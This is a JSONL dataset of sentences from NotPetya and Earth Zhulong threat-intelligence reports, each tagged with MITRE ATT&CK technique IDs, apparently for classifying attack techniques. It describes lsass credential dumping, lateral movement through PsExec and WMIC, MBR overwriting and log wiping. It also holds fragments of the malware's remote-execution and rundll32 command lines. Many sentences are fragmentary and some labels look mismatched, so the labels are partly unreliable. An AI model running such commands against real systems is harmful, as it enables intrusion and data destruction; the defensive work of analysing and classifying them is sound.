{"sentence": "Update: Due to naming convention consistency in the industry, CrowdStrike is now calling this variant of Petya – NotPetya.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "For more information on CrowdStrike’s proactive protection features see the earlier CrowdStrike blog on how Falcon Endpoint Protection prevents the NotPetya attack.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "NotPetya combines ransomware with the ability to propagate itself across a network.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "It spreads to Microsoft Windows machines using several propagation methods, including the EternalBlue exploit for the CVE-2017-0144 vulnerability in the SMB service.", "labels": ["T1210"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Once a machine is infected by NotPetya, a series of malicious activities ensue, including the following: Dropped files Process hashes and process privilege checks Credential theft Token impersonation Malware propagation Network node enumeration SMB copy and remote execution SMBv1 exploitation via EternalBlue UNC write malware to admin$ on remote target Remote execution of the malware MBR ransomware Physical drive manipulation MFT encryption File encryption System shutdown Anti-forensics Ransomware instructions for file recovery occur after the infection process has completed.", "labels": ["T1570"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Do NOT pay the ransom.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "No files will be recovered if the ransom is paid.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Dropped Files", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Ransomware DLL C:\\windows\\perfc.dat", "labels": ["T1140"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Analysis of dllhost.dat shows that it is a copy of the PsExec utility, which is a telnet replacement that allows execution of processes on other systems.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The malware is a DLL that is launched using rundll32.exe: “C:\\Windows\\perfc.dat”,#1 18", "labels": ["T1218.011"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "[“username1:pass1” “username2:pass2” … ] Perfc.dat is the malware name.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "It is executed with the following arguments: #1 → This is the ordinal number of the exported function 18 → Minutes used to determine how long to wait for the scheduled shutdown “username:pass” → Credentials to be used to propagate the malware on the network.", "labels": ["T1057"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "= 0xFB → ns.exe or ccSvcHst.exe PROC_FLAG", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "= 0xF3 → avp.exe and either ns.exe and/or ccSvcHst.exe", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "In addition, within the same subroutine, the malware attempts to gain various levels of privilege.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "It uses a global flag PRIV_FLAG to track the extent of privileges the malware is able to obtain.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "PRIV_FLAG = 0 → no privileges PRIV_FLAG = 1 → SeShutdownPrivilege.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Ability to shutdown the system. PRIV_FLAG", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Required to either debug or adjust memory for a process owned by another account PRIV_FLAG", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "= 4 → SeTcbPrivilege.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Process can assume the identity of any user PRIV_FLAG", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "= 5 → SeShutdownPrivilege & SeTcbPrivilege PRIV_FLAG", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "= 6 → SeDebugPrivilege & SeTcbPrivilege PRIV_FLAG", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The credential theft module is dropped if the malware has one of the following privileges: (It should be noted that the PROC_FLAG can any of the possible values) SeDebugPrivilege SeShutdownPrivilege & SeDebugPrivilege SeDebugPrivilege & SeTcbPrivilege SeShutdownPrivilege & SeDebugPrivilege & SeTcbPrivilege The MBR overwrite and MFT encryption subroutine is not executed if avp.exe is found running on the system The EternalBlue subroutine is not executed if either ns.exe or ccSvcHst.exe are found running on the system The system is rebooted using the API NtRaiseHardError if the process has at least the SeShutdownPrivilege level Credential Theft Credentials are provided to the malware in two ways:", "labels": ["T1106"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "As an argument to the DLL (see command line execution section) Communication via a named pipe from the credential theft module To create a named pipe, a random GUID is generated, and the credential theft module is launched as a child process with the named pipe as an argument.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Communication is constantly monitored by a thread that invokes PeekNamedPipe to copy data from the pipe.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Credential Theft Module Depending on the OS architecture, the malware will either drop a 32-bit version or a 64-bit version of the credential theft module.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The malware decompresses a resource (0x1 if the OS is x86, 0x2 if the OS is x64) of type RT_RCDATA using zlib 1.2.8 compression.", "labels": ["T1140"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "It calls OpenProcess on lsass.exe with access flag set to VM_READ, and looks for the modules wdigest.dll and lsasrv.dll loaded in the lsass.exe process.", "labels": ["T1003.001"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "wdigest.dll → Digest authentication security package.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Used to: Authenticate client access with integrity protection to a directory service using LDAP Authenticate client access using SASL Authenticate client access to a web site lsasrv.dll → Authentication security component.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The lsasrv.dll is a LSA (Local Security Authority)", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The extracted credentials are sent to the NotPetya process via the named pipe.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Token Impersonation Impersonation occurs only if the process has the required privilege level to assume the identity of another user.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "OpenProcessToken and GetTokenInformation is used to grab the TokenSessionId for terminal service sessions.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Each token is duplicated and the new handle is saved to a list.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "For each of the duplicated tokens, a new thread is created in suspended mode.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The impersonated token replaces the current thread token with SetThreadToken and the thread is resumed.", "labels": ["T1570"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "This thread is then used to execute the SMB copy and remote execution section as the impersonated user.", "labels": ["T1570"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Malware Propagation The following methods are used to spread across a network: Network node enumeration SMB copy and remote execution SMB exploitation via EternalBlue Network Node Enumeration", "labels": ["T1210", "T1570"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The malware creates a thread for core work that invokes the following API’s: GetExtendedTcpTable to retrieve a list of TCP endpoints GetIpNetTable to retrieve the IPv4 to physical address mapping table → Gets a MIB_IPNETTABLE structure NetServerEnum to get a list of servers on the domain with the following parameters: Servername = null level = 101 (return server names, types, and associated data) NetServerGetInfoto retrieve the current configuration for the local server, specifically to determine if the system is a non-domain controller server, a primary domain controller, or a backup domain controller.", "labels": ["T1082", "T1106"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The API returns a SERVER_INFO_101 structure that contains an sv101_type field.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The malware checks to see if the value of that field is SV_TYPE_SERVER_NT, SV_TYPE_DOMAIN_CTRL, or a SV_TYPE_DOMAIN_BAKCTRL.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "SMBv1 Exploitation via EternalBlue NotPetya has the capability to exploit SMBv1 via the well known EternalBlue exploit.", "labels": ["T1210"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Once the exploit is launched, the shellcode will end up writing the file and executing the malware on the target machine.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "UNC Write to Admin$ WNetAddConnection2W is used to connect to a server using the default credentials for the impersonated token, and an attempt is made to write the file to: \\\\server-name\\\\admin$\\\\malware-name UNC write to admin$ CreateFile and WriteFile are used to write the file to the remote server.", "labels": ["T1078", "T1106"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The typical filename is perfc.dat.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Remote Execution Remote execution relies on either PsExec or WMIC.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "DLLHost.dat (psexec) The following command will execute on the remote machine: C:\\Windows\\dllhost.dat \\\\<target host> -accepteula -s", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "/password:”<password>” process call create “C:\\Windows\\System32\\rundll32.exe \\”C:\\Windows\\perfc.dat\\” #1 19 “<additional creds for arguments>”” /node → specify server name /user → username /password → password Process call create → execute remote command Once the command line arguments are generated, either CreateProcessAsUser or CreateProcess is executed, depending on whether this is being done through impersonation or stolen credentials.", "labels": ["T1059.003", "T1106"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "MBR Ransomware Physical Drive Manipulation The malware calls DeviceIOControl on //./PhysicalDrive0 with IOCTL_DISK_GET_PARTITION_INFO_EX control code to get PARTITION_INFORMATION_EX structure.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The malware takes the following steps to modify the MBR: Reads the MBR and encodes it using XOR encoding with key 0x7 The first sector is overwritten by a custom boot loader", "labels": ["T1027"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The 16-bit code uses this flag to determine whether to infect the MFT A random array of bytes 0x20 in length is generated using CryptGenRangom.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "This is used as the Salsa20 encryption key.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "In addition, another random array of bytes 0x8 in length is created using the same API call; this is used as the nonce for the encryption.", "labels": ["T1106"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "This is the Bitcoin wallet that is later displayed on the splash screen.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "A random blob is created by CryptGenRandom 0x3C bytes in length.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "This is presented as the user’s personal installation key on the splash screen.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Sector 34 contains the original MBR that was encoded by XORing with 0x7 MFT Encryption As mentioned previously, the malware has its own custom boot loader once the machine has been infected and rebooted.", "labels": ["T1027"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "It should be noted that the code is a low-level 16-bit code that uses BIOS interrupt calls to display text to the user, accept user input, and read/write to various sectors.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Since this code is run outside of the OS, its capabilities are quite limited.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The following are the BIOS interrupt services used throughout the code: int 0x13 – read/write sectors on disk int 0x10 – display text int 0x19 – cause disk reboot int 0x16 – obtain keystrokes, and status of keyboard buffer The code first checks the CRYPT_FLAG in sector 32 to see whether it has been set to 1 (encrypted).", "labels": ["T1056.001"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The first time a machine is infected, the CRYPT_FLAG is always set to 0 (not encrypted), which leads the malware to invoke a subroutine that displays the following decoy check disk screen to the user.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "In reality, the subroutine performs the following functions: Sets the CRYPT_FLAG to 1.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "This is performed before any encryption actually takes place Encrypts the contents of Sector 33 using the Salsa20 cipher.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Once the key is entered, the code attempts to decrypt the contents of Sector 33, which were previously encrypted using Salsa20 key.", "labels": ["T1027", "T1140"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Once the sector is decrypted, the code reads all 512 bytes of the sector and ensures that they all equal 0x7.", "labels": ["T1140"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "If this is successful, the CRYPT_FLAG is set to 2 (decrypted), and the same key is used to decrypt the MFT.", "labels": ["T1140"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Furthermore, the original encoded MBR in Sector 34 is also decoded, and placed back into Sector 0, as shown below.", "labels": ["T1027", "T1140"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": ", the malware also targets certain files.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The following table contains the file extensions that are targeted: .3ds .7z .accdb .ai .asp .aspx .avhd .back .bak", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": ".c .cfg .conf .cpp .cs .ctl", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": ".dbf .disk .djvu .doc .docx.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": ".dwg", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": ".eml .fdb .gz", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": ".h .hdd .kdbx .mail .mdb .msg .nrg .ora", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": ".ost .ova", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": ".ovf", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": ".rar", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "This key is used to encrypt all the files on the system.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The malware will first start enumerating files in the directory it is being executed from.", "labels": ["T1083"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The following steps are taken to encrypt the individual files: Gets file handle Gets the file size Creates a file mapping of the file with PAGE_READWRITE protection Maps the view of the file mapping with FILE_MAP_WRITE | FILE_MAP_READ access Calls CryptEncrypt to encrypt the contents of the file using AES-128 Once the files in a folder are encrypted, the ransomware drops a ransomware note in a file named README.txt.", "labels": ["T1106"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The “personal installation key” is the result of the AES-128 key encrypted with an RSA-2048 key, which is included in the malware.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The following message is then displayed to the user: System Shutdown NotPetya employs a few methods to ensure that the system reboots so that the boot loader loads the MFT encryptor code.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "It spawns cmd.exe with the following commandline:", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "/ST <HH:MM>", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "If the second parameter is 30, the scheduled task will trigger 30 minutes after the malware execution.", "labels": ["T1053.005"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "However, if no second parameter is provided, the scheduled task is set to trigger 60 minutes after the malware execution by default.", "labels": ["T1053.005"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Explanation of schtask parameters: /TN → taskname (not providing a custom name forces Windows to provide a random GUID as a name) /TR → taskrun.", "labels": ["T1053.005"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "This is an undocumented Windows API that causes the system to reboot.", "labels": ["T1106"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "If the API fails to execute, the malware calls InitiateSystemShutdownExW with the flag set to reboot the machine.", "labels": ["T1106"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Anti-Forensics The malware employs anti-forensics practices throughout its execution.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "For instance, immediately after execution, it loads itself in memory, and deletes itself from the disk.", "labels": ["T1027"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "However, before deletion, it zeros out the file contents on disk to ensure that the malware cannot be recovered via disk forensics.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The malware uses a similar approach for the credential theft module it drops as well.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Once the contents of its resource section are decompressed and written to disk, it zeros out the memory buffer containing the decompressed PE files.", "labels": ["T1140"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The malware also spawns cmd.exe to execute the following command:", "labels": ["T1059.003"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "C:” This command is responsible for clearing out the following logs: Setup logs: contains events related to application setup System logs: contains events pertaining to system components Security logs: contains events such as logon attempts, file creation, access, deletion Application logs: contains events logged by applications USN journal: maintains a record of changes made to a particular volume For information on CrowdStrike’s proactive protection features see the earlier CrowdStrike blog on how Falcon Endpoint Protection prevents this destructive ransomware.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Below is the relevant data for the files analyzed.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "File:Credential Theft Module 32-bit Size: 47616 MD5: 2813D34F6197EB4DF42C886EC7F234A1 SHA256: EAE9771E2EEB7EA3C6059485DA39E77B8C0C369232F01334954FBAC1C186C998 Compiled: Tue, Jun 6 2017, 13:31:37 – 32-bit EXE File:Credential Theft Module 64-bit Size: 57344 MD5: 7E37AB34ECDCC3E77E24522DDFD4852D SHA256: 02ef73bd2458627ed7b397ec26ee2de2e92c71a0e7588f78734761d8edbdcd9f Compiled: Tue, Jun 6 2017, 13:31:37 – 64-bit EXE File: dllhost.dat Size: 381816 MD5: AEEE996FD3484F28E5CD85FE26B6BDCD SHA256: F8DBABDFA03068130C277CE49C60E35C029FF29D9E3C74C362521F3FB02670D5 Compiled: Tue, Apr 27 2010, 0:23:59 – 32-bit EXE Version: 1.98 Signature Valid Subject: Microsoft Corporation Issuer: Microsoft Code Signing PCA The post NotPetya Technical Analysis – A Triple Threat: File Encryption, MFT Encryption, Credential Theft appeared first on .", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Earth Zhulong:", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Familiar Patterns Target Southeast Asian Firms In 2022, we discovered Earth Zhulong, a hacking group that has been targeting Asian firms similar to another well-known threat actor.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "By: Ted Lee February 08, 2023Read time: ( words) Save to Folio Subscribe Introduction In 2022, we discovered a hacking group that has been targeting telecom, technology, and media sectors in Southeast Asia since 2020.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "We track this particular group as Earth Zhulong.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "We believe that Earth Zhulong is likely related to the Chinese-linked hacking group 1937CN based on similar code in the custom shellcode loader and victimology.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Through the TTPs, we see that they are sophisticated and meticulous as malicious actors.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "They adopt multiple approaches to obfuscate their tools and eliminate their footprint after finishing the operation.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "As a result, we have exerted greater effort to hunt down and analyze their tools to fully understand the attack scenario.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "In addition, we have verified three different variants of ShellFang were used from 2020 to 2022.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "The latest variant demonstrates that threat actors have adopted more obfuscation techniques, including abusing exception mechanisms to obfuscate the execution flow of programs and Windows API hashing.", "labels": ["T1027", "T1106"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Several hack tools were also found on the infected hosts, including tunneling, port scanning, a Go-lang based backdoor and an information stealer used to harvest internal information.", "labels": ["T1005"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "However, we found the relationship during the long-term investigation and finally correlated old variants with the latest one.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Initial Access – Lure document Back in 2020, through the command and control (C&C) domain observed in our investigation, we found a lure document with a malicious macro.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Once the victim opens the document, the embedded macro will be executed, injecting the shellcode into rundll32.exe.", "labels": ["T1055", "T1204.002"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "We have identified the embedded shellcode as a Cobalt Strike shellcode which will be used to build connection to a remote hacking machine.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "We believe this lure document is one of the approaches used by the threat actors to compromise their targets.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Figure 1.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Screenshot of decoy document Figure 2.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Shellcode which is used for code injection.", "labels": ["T1055", "T1484.001"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Propagation through GPO In early 2022, we further observed new TTPs used to spread malware in the victim’s environment.", "labels": ["T1484.001"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "After getting access to the internal network, they perform domain exploration using SharpHound.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Once they successfully compromise the domain controller, they will submit immediate tasks to the hosts in the domain through GPO as seen in Figure 5, As the hosts receive the task through GPO, they will run a PowerShell script named “co.ps1” and create scheduled tasks for persistence. Figure 4.", "labels": ["T1053.005", "T1484.001"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Overview of attack scenario Figure 5.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "PowerShell script to create a ImmediateTask through GPO", "labels": ["T1053.005"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "As shown in Figure 6, threat actors use multi-layered AES encryption and base64 encoding to obfuscate “co.ps1”.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Heavy obfuscation in a simple but useful anti-analysis approach makes it difficult for security products to detect their scripts.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "After clearing the obfuscation, we found the script is used to deploy malware components (win.exe, gm.dll, and lengs.medil.xml) on the infected machine.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Figure 6.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Heavily obfuscated PowerShell script Figure 7.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "“win.exe” is a renamed GoogleToolbarNotifier application.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "The malicious DLL “gtn.dll”, which we named as “ShellFang”, loads when a legitimate executable is launched.", "labels": ["T1574.002"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "It then calls the export function, “Go”, to start the loading procedure of the encrypted payload to decrypt the payload called “lengs.medil.xml”, which is the Cobalt Strike beacon. Figure 8. win.exe file information Figure 9. win.exe will call the malicious export function in gtn.dll Evolution of ShellFang loader During the investigation, we found that Earth Zhulong started targeting Southeast Asian firms in 2020.", "labels": ["T1027", "T1140"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Although they always used DLL sideloading to launch their malware, they never stopped changing the code structure of their shellcode loader.", "labels": ["T1574.002"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Here we summarize the information we collected from 2020 to 2022 and verify three different variants used by Earth Zhulong.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "However, based on the timestamp of export function, this variant was compiled in 2017.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "The code structure of ShellFang is simple.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
